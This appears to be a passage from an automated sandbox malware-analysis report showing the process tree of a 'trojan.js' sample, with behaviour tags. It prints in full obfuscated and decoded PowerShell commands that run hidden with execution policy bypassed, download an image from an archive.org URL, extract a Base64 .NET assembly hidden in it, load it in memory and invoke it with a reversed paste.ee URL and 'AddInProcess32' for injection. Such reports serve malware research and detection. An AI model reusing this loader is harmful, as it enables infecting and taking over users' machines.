⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5756
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:6020
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zO4F041C3F\trojan.js"
        2⤵
          PID:6120
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ 